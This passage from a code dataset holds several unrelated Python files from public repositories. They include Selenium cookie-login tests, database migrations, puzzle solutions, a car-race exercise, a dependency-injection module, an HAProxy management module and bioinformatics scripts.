存入 cookie\n driver = get_chromedriver_debug\n cookies = driver.get_cookies()\n with open(\"tmp.text\", \"w\", encoding=\"utf-8\") as f:\n json.dump(cookies, f)\n print(cookies)\n\n def test_cookie_login(self,get_chromedriver):\n # 读取 cookie\n driver = get_chromedriver\n driver.get(\"https://work.weixin.qq.com/wework_admin/frame#index\")\n with open('tmp.text', 'r', encoding='utf-8') as f:\n cookies = json.load(f)\n\n for i in cookies:\n driver.add_cookie(i)\n driver.refresh()\n\n driver.find_element(By.XPATH, \"//*[@id='menu_contacts']\").click()\n\n time.sleep(3)\n\n\nif __name__==\"__main__\":\n pytest.main([\"test_address.py::test_cookie\",\"-v\"])\n","repo_name":"sbfkq/HogwartsSDET17","sub_path":"3-selenium_wechat/test_selenium.py","file_name":"test_selenium.py","file_ext":"py","file_size_in_byte":1848,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"363923822","text":"\"\"\" Add table for OAI repositories\n\nRevision ID: 71874271208e\nRevises: a80b4f777c12\nCreate Date: 2017-01-15 21:47:58.946488\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '71874271208e'\ndown_revision = 'a80b4f777c12'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n op.create_table(\n 'oai_repository',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('endpoint', sa.String(), nullable=False),\n sa.Column('name', sa.String(), nullable=False),\n sa.PrimaryKeyConstraint('id'),\n sa.UniqueConstraint('endpoint'))\n\n\ndef downgrade():\n op.drop_table('oai_repository')\n","repo_name":"jbaiter/demetsiiify","sub_path":"migrations/versions/5_add_oai_table.py","file_name":"5_add_oai_table.py","file_ext":"py","file_size_in_byte":685,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"69"} +{"seq_id":"13297836576","text":"import os\nimport utils.constants as c\nfrom utils.game_action import move_right_click, alt_e, load_driver\nfrom utils.window import template_match, shot\n\n\nclass Bag:\n def __init__(self):\n self.bag_title_path = os.path.join(c.flag_dir, \"bag_title.png\")\n self.stride = 50\n self.x0 = 0 # 背包第一个格子的x坐标\n self.y0 = 0 # 背包第一个格子的y坐标\n\n def right_click(self, bx, by):\n if bx > 5 | bx < 1 | by > 4 | by < 1:\n print(\"背包格子的范围是x∈[1,5] y∈[1,4]\")\n return\n if not self.bag_is_open():\n alt_e()\n self.init_bag()\n move_x = self.x0 + self.stride * (bx - 1)\n move_y = self.y0 + self.stride * (by - 1)\n print(self.x0, self.y0)\n print(move_x, move_y)\n move_right_click(move_x, move_y)\n if self.bag_is_open():\n alt_e()\n\n def init_bag(self):\n shot()\n shape, score = template_match(self.bag_title_path, c.temp_game)\n if score >= 5:\n offset = (25, 217)\n self.x0 = shape[0] + offset[0]\n self.y0 = shape[1] + offset[1]\n else:\n print(\"[Error] 背包未打开\")\n\n def bag_is_open(self):\n shot()\n _, score = template_match(self.bag_title_path, c.temp_game)\n if score >= 5:\n return True\n return False\n\n\nif __name__ == '__main__':\n load_driver()\n bag = Bag()\n bag.right_click(5,1)\n","repo_name":"a04512/mhxy-helper","sub_path":"utils/bag.py","file_name":"bag.py","file_ext":"py","file_size_in_byte":1478,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"71"} +{"seq_id":"26168569286","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='Category',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('name', models.CharField(default=b'', max_length=20)),\n ],\n ),\n migrations.CreateModel(\n name='Message',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('title', models.CharField(default=b'', max_length=100, blank=True)),\n ('content', models.TextField()),\n ('created', models.DateTimeField(auto_now_add=True)),\n ('updated', models.DateTimeField(auto_now_add=True)),\n ('answerID', models.IntegerField(default=0, null=True)),\n ],\n ),\n migrations.CreateModel(\n name='Topic',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('title', models.CharField(default=b'', max_length=100, blank=True)),\n ('description', models.TextField()),\n ('created', models.DateTimeField(auto_now_add=True)),\n ('updated', models.DateTimeField(auto_now_add=True)),\n ('imageURL', models.CharField(default=b'', max_length=100)),\n ('vues', models.IntegerField()),\n ('category', models.ForeignKey(related_name='topic', to='forum.Category')),\n ],\n ),\n migrations.CreateModel(\n name='UserProfile',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('username', models.CharField(default=b'', max_length=20)),\n ('email', models.EmailField(max_length=254)),\n ('first_name', models.CharField(max_length=30)),\n ('last_name', models.CharField(max_length=30)),\n ('password', models.CharField(max_length=100)),\n ('age', models.IntegerField()),\n ('profile_picture', models.ImageField(upload_to=b'thumbpath', blank=True)),\n ],\n ),\n migrations.AddField(\n model_name='topic',\n name='created_by',\n field=models.ForeignKey(related_name='topic', to='forum.UserProfile'),\n ),\n migrations.AddField(\n model_name='message',\n name='userID',\n field=models.ForeignKey(related_name='message', to='forum.UserProfile'),\n ),\n ]\n","repo_name":"Aberish/api_forum","sub_path":"forum/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":2852,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"17036186066","text":"from helpers.problemrunner import run_problem\n\n\n@run_problem\ndef run():\n with open(\"Day13.txt\") as f:\n received_packets = list(filter(None, [line.rstrip() for line in f]))\n\n packets = [Packet(line[1:-1]) for line in received_packets]\n\n correct_order = 0\n for i in range(0, len(packets), 2):\n list1 = [packets[i].items]\n list2 = [packets[i+1].items]\n if compare_lists(list1, list2) == -1:\n correct_order += (i + 2) // 2\n\n return correct_order\n\n\ndef compare_lists(list1, list2):\n for i in range(max(len(list1), len(list2))):\n if i >= len(list1):\n return -1\n if i >= len(list2):\n return 1\n item1 = list1[i]\n item2 = list2[i]\n if type(item1) is int and type(item2) is int:\n if item1 == item2:\n continue\n return -1 if item1 < item2 else 1\n if type(item1) is int:\n comp = compare_value_to_list(item1, item2)\n if comp == 0:\n continue\n return comp\n if type(item2) is int:\n comp = compare_list_to_value(item1, item2)\n if comp == 0:\n continue\n return comp\n \n comp = compare_lists(item1, item2)\n if comp == 0:\n continue\n return comp\n\n return 0\n\n\ndef compare_value_to_list(value, list):\n if len(list) == 0:\n return 1\n return compare_lists([value], list)\n\n\ndef compare_list_to_value(list, value):\n if len(list) == 0:\n return -1\n return compare_lists(list, [value])\n\n\ndef compare_integers(value1, value2):\n if value1 == value2:\n return 0\n return -1 if value1 < value2 else 1\n\n\n#\n# Start: Packet\n#\n# Packet: [List]\n#\n# / End\n# / Integer \n# / \\ ,List\n# /\n# List: / ,List\n# \\ [List \n# \\ ]\n#\nclass Packet():\n\n def __init__(self, packet_line):\n self.current_line = packet_line\n self.items = self.read_list()\n\n\n def read_list(self):\n ret = []\n if len(self.current_line) == 0:\n return ret\n\n while True:\n if self.try_read_string('['):\n ret.append(self.read_list())\n else:\n value = self.read_integer()\n if value >= 0:\n ret.append(value)\n else:\n self.try_read_string(']')\n break\n if self.try_read_string(',') == False:\n break\n\n self.try_read_string(']')\n\n return ret\n\n\n def read_integer(self):\n # Empty brackets\n if self.try_read_string(']'):\n return -1\n\n ret = 0\n while len(self.current_line) > 0:\n try:\n ret = ret * 10 + int(self.current_line[0])\n self.current_line = self.current_line[1:]\n except ValueError:\n break\n\n return ret\n\n\n def try_read_string(self, s):\n length = len(s)\n if self.current_line[:length] == s:\n self.current_line = self.current_line[length:]\n return True\n return False\n\n \nrun()\n","repo_name":"Keke71/AdventOfCode2022","sub_path":"Day13-01.py","file_name":"Day13-01.py","file_ext":"py","file_size_in_byte":3202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"28901517922","text":"import math\n\n\nclass Solution:\n def is_prime(self, n):\n for i in range(2, int(math.sqrt(n))):\n if n % i == 0:\n return False\n\n return True\n\n def is_sorted(self, arr):\n if len(arr) == 0 or len(arr) == 1:\n return True\n\n for i in range(1, len(arr)):\n\n if arr[i - 1] > arr[i]:\n return False\n\n return True\n\n def primeSubOperation(self, nums): # -> bool:\n if self.is_sorted(nums):\n return True\n\n for i in range(len(nums) - 2, 0, -1):\n print(nums)\n diff = abs(nums[i + 1] - nums[i])\n if self.is_prime(diff):\n nums[i] -= diff\n else:\n while not self.is_prime(diff) and diff > 0:\n diff -= 1\n\n if nums[i] - diff <= 0:\n return False\n\n print(nums)\n return True\n\n\nsol = Solution()\n\nprint(sol.primeSubOperation([5, 8, 3]))\n","repo_name":"sid4202/olimpiad-programming","sub_path":"46_2023-09-05/substract_prime.py","file_name":"substract_prime.py","file_ext":"py","file_size_in_byte":972,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"4909684901","text":"import os\nimport requests\n\nimport modules.db.sql as sql\nimport modules.common.common as common\nimport modules.server.server as server_mod\nimport modules.config.config as config_mod\nimport modules.roxywi.common as roxywi_common\nimport modules.roxy_wi_tools as roxy_wi_tools\n\ntime_zone = sql.get_setting('time_zone')\nget_date = roxy_wi_tools.GetDate(time_zone)\nget_config = roxy_wi_tools.GetConfigVar()\nform = common.form\n\n\ndef stat_page_action(serv: str) -> None:\n haproxy_user = sql.get_setting('stats_user')\n haproxy_pass = sql.get_setting('stats_password')\n stats_port = sql.get_setting('stats_port')\n stats_page = sql.get_setting('stats_page')\n\n postdata = {\n 'action': form.getvalue('action'),\n 's': form.getvalue('s'),\n 'b': form.getvalue('b')\n }\n\n headers = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 5.1; rv:20.0) Gecko/20100101 Firefox/20.0',\n 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',\n 'Accept-Language': 'en-US,en;q=0.5',\n 'Accept-Encoding': 'gzip, deflate'\n }\n\n requests.post(f'http://{serv}:{stats_port}/{stats_page}', headers=headers, data=postdata, auth=(haproxy_user, haproxy_pass))\n\n\ndef show_map(serv: str) -> None:\n import networkx as nx\n import matplotlib\n\n matplotlib.use('Agg')\n import matplotlib.pyplot as plt\n\n stats_port = sql.get_setting('stats_port')\n hap_configs_dir = get_config.get_config_var('configs', 'haproxy_save_configs_dir')\n date = get_date.return_date('config')\n cfg = f'{hap_configs_dir}{serv}-{date}.cfg'\n\n print(f'<center><h4 style=\"margin-bottom: 0;\">Map from {serv}</h4>')\n\n error = config_mod.get_config(serv, cfg)\n if error:\n print(error)\n try:\n conf = open(cfg, \"r\")\n except IOError:\n print('error: Cannot read import config file')\n return\n\n G = nx.DiGraph()\n node = \"\"\n line_new2 = [1, \"\"]\n sections = {'listens': dict(), 'backends': dict()}\n\n for line in conf:\n if line.startswith('listen') or line.startswith('frontend'):\n if \"stats\" not in line:\n node = line\n if line.find(\"backend\") == 0:\n node = line\n node = node.split('\\n')[0]\n sections['backends'][node] = {'servers': dict()}\n\n if \"bind\" in line or (line.startswith('listen') and \":\" in line) or (\n line.startswith('frontend') and \":\" in line):\n try:\n if \"@\" not in line:\n bind = line.split(\":\")\n else:\n bind = line.split(\"@\")\n if str(stats_port) not in bind[1]:\n bind[1] = bind[1].strip(' ')\n bind = bind[1].split(\"crt\")\n node = node.strip(' \\t\\n\\r')\n node = node + \":\" + bind[0]\n node = node.split('\\n')[0]\n sections['listens'][node] = {'servers': dict()}\n except Exception:\n pass\n\n if \"server \" in line or \"use_backend\" in line or \"default_backend\" in line and \"stats\" not in line and \"#\" not in line:\n if \"timeout\" not in line and \"default-server\" not in line and \"#\" not in line and \"stats\" not in line:\n if \"check\" in line:\n line_new = line.split(\"check\")\n else:\n line_new = line.split(\"if \")\n if \"server\" in line:\n line_new1 = line_new[0].split(\"server\")\n line_new[0] = line_new1[1]\n line_new2 = line_new[0].split(\":\")\n line_new[0] = line_new2[0]\n\n line_new[0] = line_new[0].strip(' \\t\\n\\r')\n\n try:\n backend_server_port = line_new2[1].strip(' \\t\\n\\r')\n backend_server_port = 'port: ' + backend_server_port\n except Exception:\n backend_server_port = ''\n\n try:\n sections['listens'][node]['servers'][line_new[0]] = {line_new[0]: backend_server_port}\n except Exception:\n pass\n\n try:\n sections['backends'][node]['servers'][line_new[0]] = {line_new[0]: backend_server_port}\n except Exception:\n pass\n conf.close()\n os.remove(cfg)\n\n i, k, j = 0, 0, 0\n backend_servers_len_dict = 1\n backends_from_frontends = []\n backends_servers = []\n\n for key, val in sections.items():\n if key == 'listens':\n for k2, v2 in val.items():\n i -= 750\n G.add_node(k2, pos=(k, i), label_pos=(k, i + 250))\n\n for k3, v3 in v2.items():\n for k4, v4 in v3.items():\n \"\"\" Add backend servers of listens or backend from frontends \"\"\"\n i -= 300\n j += 1\n server_name = k4\n\n if 'default_backend' in k4 or 'use_backend' in k4:\n backend_name = k4.split(' ')[1]\n backend_name = 'backend ' + backend_name\n k4 = backend_name\n backends_from_frontends.append(k4)\n\n if k4 not in backends_servers:\n if j % 2 == 0:\n G.add_node(k4, pos=(k + 250, i - 100), label_pos=(k + 250, i - 420))\n else:\n G.add_node(k4, pos=(k - 250, i - 370), label_pos=(k - 245, i - 650))\n\n if v4[server_name] != '':\n G.add_edge(k2, k4, port=v4[server_name])\n else:\n G.add_edge(k2, k4, port='')\n\n for k4, v4 in v3.items():\n \"\"\" Add servers from backends \"\"\"\n i -= 300\n j -= 1\n\n if 'default_backend' in k4 or 'use_backend' in k4:\n backend_name = k4.split(' ')[1]\n backend_name = 'backend ' + backend_name\n k4 = backend_name\n backends_from_frontends.append(k4)\n\n if j % 2 == 0:\n if len(v3) % 2 == 0:\n i += (700 * backend_servers_len_dict) + 700\n for k5, v5 in sections['backends'][k4]['servers'].items():\n i -= 700\n s = k + 400\n G.add_node(k5, pos=(s + 250, i - 335), label_pos=(s + 215, i - 580))\n\n if v5[k5] != '':\n G.add_edge(k4, k5, port=v5[k5])\n else:\n G.add_edge(k4, k5, port='')\n\n backends_servers.append(k5)\n else:\n for k5, v5 in sections['backends'][k4]['servers'].items():\n i -= 700\n s = k - 400\n G.add_node(k5, pos=(s - 250, i - 0), label_pos=(s - 245, i - 270))\n\n if v5[k5] != '':\n G.add_edge(k4, k5, port=v5[k5])\n else:\n G.add_edge(k4, k5, port='')\n\n backends_servers.append(k5)\n backend_servers_len_dict = len(sections['backends'][k4]['servers'])\n\n backends_servers.append(k4)\n\n elif key == 'backends':\n for k2, v2 in val.items():\n\n if k2 not in backends_from_frontends:\n i -= 750\n G.add_node(k2, pos=(k, i), label_pos=(k, i + 250))\n\n for k3, v3 in v2.items():\n for k4, v4 in v3.items():\n\n if k4 not in backends_servers:\n i -= 300\n j += 1\n\n if j % 2 == 0:\n s = k + 400\n G.add_node(k4, pos=(s + 250, i - 335), label_pos=(s + 215, i - 580))\n else:\n s = k - 400\n G.add_node(k4, pos=(s - 250, i - 0), label_pos=(s - 245, i - 270))\n\n if v4[k4] != '':\n G.add_edge(k2, k4, port=v4[k4])\n else:\n G.add_edge(k2, k4, port='')\n\n backends_servers.append(k4)\n\n pos = nx.get_node_attributes(G, 'pos')\n pos_label = nx.get_node_attributes(G, 'label_pos')\n edge_labels = nx.get_edge_attributes(G, 'port')\n\n try:\n plt.figure(10, figsize=(10, 20))\n nx.draw(G, pos, with_labels=False, font_weight='bold', width=3, alpha=0.1, linewidths=5)\n nx.draw_networkx_nodes(G, pos, node_color=\"#5d9ceb\", node_size=100, alpha=0.8, node_shape=\"h\")\n nx.draw_networkx_labels(G, pos=pos_label, alpha=1, font_color=\"#5CB85C\", font_size=10)\n nx.draw_networkx_edges(G, pos, width=0.3, alpha=0.7, edge_color=\"#5D9CEB\", arrows=False)\n nx.draw_networkx_edge_labels(G, pos, alpha=0.4, label_pos=0.5, font_color=\"#5d9ceb\", edge_labels=edge_labels,\n font_size=8)\n\n plt.savefig(\"map.png\")\n plt.show()\n except Exception as e:\n print(str(e))\n\n os.system(\n f\"rm -f {os.path.dirname(os.getcwd())}/map*.png && mv map.png {os.path.dirname(os.getcwd())}/map{date}.png\")\n print(f'<img src=\"/map{date}.png\" alt=\"map\"></center>')\n\n\ndef runtime_command(serv: str) -> None:\n server_state_file = sql.get_setting('server_state_file')\n haproxy_sock = sql.get_setting('haproxy_sock')\n enable = common.checkAjaxInput(form.getvalue('servaction'))\n backend = common.checkAjaxInput(form.getvalue('servbackend'))\n\n cmd = f'echo \"{enable} {backend}\" |sudo socat stdio {haproxy_sock}'\n\n if form.getvalue('save') == \"on\":\n save_command = f'echo \"show servers state\" | sudo socat {haproxy_sock} stdio > {server_state_file}'\n command = [cmd + ';' + save_command]\n else:\n command = [cmd]\n\n if enable != \"show\":\n roxywi_common.logging(serv, f'Has been {enable}ed {backend}', login=1, keep_history=1, service='haproxy')\n print(\n f'<center><h3>You {enable} {backend} on HAProxy {serv}. <a href=\"statsview.py?serv={serv}\" '\n f'title=\"View stat\" target=\"_blank\">Look it</a> or <a href=\"runtimeapi.py\" '\n f'title=\"Runtime API\">Edit something else</a></h3><br />')\n\n print(server_mod.ssh_command(serv, command, show_log=\"1\"))\n action = f'runtimeapi.py {enable} {backend}'\n roxywi_common.logging(serv, action)\n","repo_name":"orgTestCodacy11KRepos110MB/repo-4565-roxy-wi","sub_path":"app/modules/service/haproxy.py","file_name":"haproxy.py","file_ext":"py","file_size_in_byte":11116,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"29369677359","text":"from cmath import inf, pi\nimport imp\nfrom sys import api_version\nfrom typing import Iterator\nfrom xml.sax.xmlreader import AttributesImpl\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom numpy.lib.function_base import average\nfrom numpy.lib.utils import deprecate, deprecate_with_doc\nimport pandas as pd\nfrom pandas.core.construction import is_empty_data\nfrom scipy.stats import binom\nimport csv\nimport logomaker\nimport os\nimport time\nfrom Bio import motifs\nfrom Bio.Seq import Seq\n\nimport utils\nimport input_process as ip\nimport promoter_process as pp\nimport parameters as para\n\nif __name__ == '__main__':\n gdict = utils.open_gdict_npy()\n g_len = len(gdict['+'])\n id = para.sid\n gene_dict = ip.gen_gen_dict(id, gdict)\n paper_dict = ip.gen_paper_dict(gene_dict)\n ddict = ip.gen_ddict(id, g_len)\n gene_dict, pdict = pp.potential_promoter_cdf(ddict, gdict, gene_dict, id, g_len)\n # debug\n # pdict = utils.open_npy(para.PROMOTER_DIR + id + '-raw-pdict.npy')\n # gene_dict = utils.open_npy(para.GENE_DIR + id +'gene_after_tss.npy')\n # plist = open(para.PROMOTER_DIR + id + 'ppromoter.txt',\"r\").read().split()\n # slist = open(para.PROMOTER_DIR + id + 'spromoter.txt',\"r\").read().split()\n # ilist = open(para.PROMOTER_DIR + id + 'ipromoter.txt',\"r\").read().split()\n # alist = open(para.PROMOTER_DIR + id + 'apromoter.txt',\"r\").read().split()\n # utils.plot_logo(plist, id+'p')\n # utils.plot_logo(slist, id+'s')\n # utils.plot_logo(ilist, id+'i')\n # utils.plot_logo(alist, id+'a')\n\n # fieldnames = ['gid', 'srand','start', 'end', 'ptss', 'stss', 'itss', 'astss']\n # writer = utils.csv_writer(para.TSS_DIR+id+'tss.csv', fieldnames)\n # for gid, iseq in gene_dict.items():\n # writer.writerow({'gid':gid, 'srand':iseq.srand,'start':iseq.start, 'end':iseq.end, 'ptss':iseq.ptss, 'stss':iseq.stss,\n # 'itss':iseq.itss, 'astss':iseq.astss})\n\n utils.gen_fasta(para.s10, para.e10, id, '10', pdict)\n pp.meme(id, 6, '10raw')\n pdict, m10list, mextlist = pp.open_result10(gdict, pdict, id, paper_dict)\n pp.meme(id, 6, 'extmeme')\n pp.meme(id, 7, '35raw')\n pdict, m35list, spacers = pp.open_result35(gdict, pdict, id)\n pdict, m10list, mextlist, m35list, spacers = pp.iteration_base(gdict, pdict, id, 'p', m10list, mextlist, m35list, spacers)\n # debug\n # m10list = utils.open_npy_list(para.MOTIF_DIR+id+'m10ilist.npy')\n # mextlist = utils.open_npy_list(para.MOTIF_DIR+id+'mextilist.npy')\n # m35list = utils.open_npy_list(para.MOTIF_DIR+id+'m35ilist.npy')\n # pdict = utils.open_npy(para.PROMOTER_DIR+id+'ppdict-iteration.npy')\n # spacers = utils.open_npy_list(para.MOTIF_DIR+id+'spacersi.npy')\n for kind in para.klist:\n pdict = pp.pwm_tss(gdict, pdict, id, kind, m10list, mextlist, m35list, spacers)\n \n #debug\n # pdict = utils.open_npy(para.PROMOTER_DIR+id+'apdict-pwmtss.npy')\n pltdict = {'p': 'o', 'i': 'x', 's':'*'}\n \n for gid, pallitem in pdict.items():\n if len(pallitem['p']) <= 0:\n continue\n paper_item = paper_dict[gid]\n iseq = gene_dict[gid]\n\n srand = iseq.srand\n start = iseq.start\n end = iseq.end\n depth = ddict[srand]\n plots = max(0, start - 300)\n ptss = pallitem['p'][0].ctss\n depth_plot = depth[ptss : start + 100].astype(np.int).tolist()\n maxd = max(depth_plot)\n maxi = depth_plot.index(max(depth_plot)) + ptss\n plote = maxi + 50\n x = np.linspace(plots,plote,plote-plots)\n plt.plot(x,depth[plots:plote])\n plt.plot()\n for kind in para.plot_klist:\n for pitem in pallitem[kind]:\n ctss = pitem.ctss\n dtss = depth[ctss]\n plt.plot(ctss,depth[ctss],pltdict[kind])\n plt.text(ctss, dtss+3, kind+'('+str(ctss)+','+str(dtss)+')', fontsize=10)\n for pitem in paper_item[kind]:\n ctss = pitem.ctss\n dtss = depth[ctss]\n plt.plot(ctss,depth[ctss],pltdict[kind])\n plt.text(ctss, dtss+3, kind+'paper('+str(ctss)+','+str(dtss)+')', fontsize=10)\n plt.plot(maxi,maxd,'+')\n plt.text(maxi, maxd+3, 'max('+str(maxi)+','+str(maxd)+')', fontsize=10)\n plt.savefig(para.FIG_DIR+'/'+id+'/'+gid+'.png')\n # plt.show()\n plt.close(\"all\")\n\n print('end')","repo_name":"nininiu/promoters","sub_path":"geneweili_data_process.py","file_name":"geneweili_data_process.py","file_ext":"py","file_size_in_byte":4384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"13484573870","text":"# Cпроектируйте объектную модель соревнования, вы должны учитывать разные спецификации\n# автомобилей, погодные условия, и то что в один момент времени может проходить\n# только одно соревнование, как итог, запустите гонку с разными автомобилями и\n# продемонстрируйте победителей)\n#\n# Требования к решению:\n#\n# Описать 3 класса:\n# - Автомобиль\n# - Погода\n# - Соревнование\n# Выполнить требования к классу Автомобиль:\n# - Зафиксировать спецификации автомобилей как атрибут класса\n# Выполнить требования к классу Погода:\n# - Реализовать доступ к функции получения скорости ветра как к переменной экземпляра класса\n# Выполнить требования к классу Соревнование:\n# - в качестве входных аргументов принимает 1 параметр — длина дистанции\n# - не позволять создание более 1 экземпляра класса (обратите внимание на метод класса new)\n\nfrom random import randint\n\n\nclass Car:\n CAR_SPECS = {\n 'ferrary': {\"max_speed\": 340, \"drag_coef\": 0.324, \"time_to_max\": 26},\n 'bugatti': {\"max_speed\": 407, \"drag_coef\": 0.39, \"time_to_max\": 32},\n 'toyota': {\"max_speed\": 180, \"drag_coef\": 0.25, \"time_to_max\": 40},\n 'lada': {\"max_speed\": 180, \"drag_coef\": 0.32, \"time_to_max\": 56},\n 'sx4': {\"max_speed\": 180, \"drag_coef\": 0.33, \"time_to_max\": 44},\n }\n\n\nclass Weather:\n def __init__(self, max_wind_speed=20):\n self._max_wind_speed = max_wind_speed\n\n @property\n def wind_speed(self):\n return randint(0, self._max_wind_speed)\n\n\nclass Competition(object):\n __instance = None\n\n def __new__(cls, val):\n if Competition.__instance is None:\n Competition.__instance = object.__new__(cls)\n Competition.__instance.val = val\n return Competition.__instance\n\n def __init__(self, distance, weather=None):\n self.distance = distance\n self.weather = weather or Weather()\n\n def start(self, car_specs):\n for name, car in car_specs.items():\n time = 0\n\n for distance in range(self.distance):\n wind_speed = self.weather.wind_speed\n\n if time == 0:\n speed = 1\n else:\n speed = (time / car[\"time_to_max\"]) * car['max_speed']\n if speed > wind_speed:\n speed -= (car[\"drag_coef\"] * wind_speed)\n\n time += float(1) / speed\n\n print(\"Car <%s> result: %f\" % (name, time))\n\n\nif __name__ == \"__main__\":\n competition = Competition(10000)\n competition.start(Car.CAR_SPECS)\n","repo_name":"lyudmila-petrova/usml_python_backend_homework","sub_path":"Lesson 02. Competition/competition.py","file_name":"competition.py","file_ext":"py","file_size_in_byte":3196,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"12828429066","text":"import typing as t\n\nfrom dataclasses import dataclass\n\nfrom pca.utils.collections import frozendict\nfrom pca.utils.compat import GenericABCMeta\n\nfrom .container import (\n Container,\n DIContext,\n Kwargs,\n get_di_container,\n set_di_context,\n)\nfrom .descriptors import Inject\n\n\n_DEPENDENCIES_REF = \"__di_dependencies__\"\n\nAttributeContexts = t.Dict[str, DIContext]\nMethodContexts = t.Dict[str, t.Sequence[DIContext]]\nInjectable = t.TypeVar(\"Injectable\", t.Callable, t.Type[object], covariant=True)\n\n\n@dataclass(frozen=True)\nclass DIDependencies:\n \"\"\"\n Describes relations between a Component subclass and all its dependencies.\n\n :cvar attribute_contexts: DI contexts of all attributes as a mapping\n {attribute_name: DIContext}\n :cvar method_contexts: DI contexts of all dependencies of all methods as a mapping\n {method_name: {argument_name: DIContext}}\n \"\"\"\n\n attribute_contexts: AttributeContexts\n method_contexts: MethodContexts\n\n\ndef set_dependencies_contexts(\n instance: t.Any, attribute_contexts: AttributeContexts, method_contexts: MethodContexts\n) -> None:\n \"\"\"\n A helper function to create and set a description object for all dependencies of a Component.\n \"\"\"\n setattr(\n instance,\n _DEPENDENCIES_REF,\n DIDependencies(frozendict(attribute_contexts), frozendict(method_contexts)),\n )\n\n\ndef get_dependencies_contexts(instance: t.Any) -> DIDependencies:\n \"\"\"A helper function to extract description of all dependencies of a Component.\"\"\"\n return getattr(instance, _DEPENDENCIES_REF, None)\n\n\ndef get_attribute_dependencies(instance: t.Any) -> t.Dict[str, t.Any]:\n \"\"\"A helper function to extract dependencies of all attribute dependencies of a Component.\"\"\"\n description = get_dependencies_contexts(instance)\n if not description:\n return {}\n container = get_di_container(instance)\n return {\n name: context.get(container) for name, context in description.attribute_contexts.items()\n }\n\n\nclass ComponentMeta(GenericABCMeta):\n \"\"\"\n A metaclass that gathers all dependency markers (from its attributes and methods)\n in a describing data class.\n \"\"\"\n\n def __init__(cls, name, bases, d, **kwargs):\n # noinspection PyArgumentList\n super().__init__(name, bases, d, **kwargs)\n attribute_contexts: t.Dict[str, DIContext] = {\n k: v.context for k, v in d.items() if isinstance(v, Inject)\n }\n method_contexts: t.Dict[str, t.Sequence[DIContext]] = {\n k: v for k, v in d.items() if hasattr(v, _DEPENDENCIES_REF)\n }\n set_dependencies_contexts(cls, attribute_contexts, method_contexts)\n\n\nclass Component(metaclass=ComponentMeta):\n \"\"\"\n A mixin superclass for DI Component, i.e. a class that can be injected and can have\n injectable\n \"\"\"\n\n\nConcreteComponent = t.TypeVar(\"ConcreteComponent\")\n\n\ndef create_component(\n constructor: t.Type[ConcreteComponent],\n container: Container,\n context: DIContext = None,\n kwargs: Kwargs = None,\n) -> ConcreteComponent:\n \"\"\"\n A helper function to create component respecting its relation to DI container & DI context.\n \"\"\"\n context = context or DIContext()\n instance: Component = constructor(**(kwargs or {}))\n set_di_context(instance, container, context)\n return instance\n","repo_name":"pcah/python-clean-architecture","sub_path":"pca/utils/dependency_injection/component.py","file_name":"component.py","file_ext":"py","file_size_in_byte":3349,"program_lang":"python","lang":"en","doc_type":"code","stars":412,"dataset":"github-code","pt":"71"} +{"seq_id":"21029456095","text":"#!/Users/fritjof/anaconda3/bin/python3\n# problem: anothercandies, rating: 2.5\n\nt = int(input())\n\nfor _ in range(t):\n input()\n n = int(input())\n d = []\n for i in range(n):\n d.append(int(input()))\n s = sum(d) % len(d)\n if not s:\n print('YES')\n else:\n print('NO')\n","repo_name":"fritjof-b/kattis","sub_path":"problems/solved/anothercandies/anothercandies.py","file_name":"anothercandies.py","file_ext":"py","file_size_in_byte":303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"29854598367","text":"__author__ = \"Caspar Schmitt\"\n__copyright__ = (\n \"Copyright 2022, Caspar Schmitt & b2luigi (https://github.com/nils-braun/b2luigi)\"\n)\n__email__ = \"cschmitt@mpp.mpg.de\"\n__license__ = \"free\"\n\n# source: adapted from b2luigi (https://github.com/nils-braun/b2luigi)\nimport errno\nimport hashlib\nimport json\nimport os\nimport re\nimport shlex\nimport shutil\nimport subprocess\nimport sys\nimport tempfile\nimport warnings\nfrom collections import Counter\nfrom datetime import datetime\nfrom functools import lru_cache\nfrom glob import glob\nfrom itertools import groupby\nfrom typing import Iterable, List, Optional, Set\nfrom getpass import getpass\n\nfrom jinja2 import Template\nfrom retry import retry\nimport time\n\ngbasf2_min_proxy_lifetime = snakemake.params.get(\"gbasf2_min_proxy_lifetime\", 0)\ngbasf2_proxy_lifetime = snakemake.params.get(\"gbasf2_proxy_lifetime\", 24)\ngbasf2_dataset = snakemake.params.get(\"gbasf2_dataset\", \"\")\nrelease = snakemake.params.get(\"release\", \"\")\nmaxretries = snakemake.params.get(\"gbasf2_max_retries\", 3)\ndownload_logs = snakemake.params.get(\"gbasf2_download_logs\", 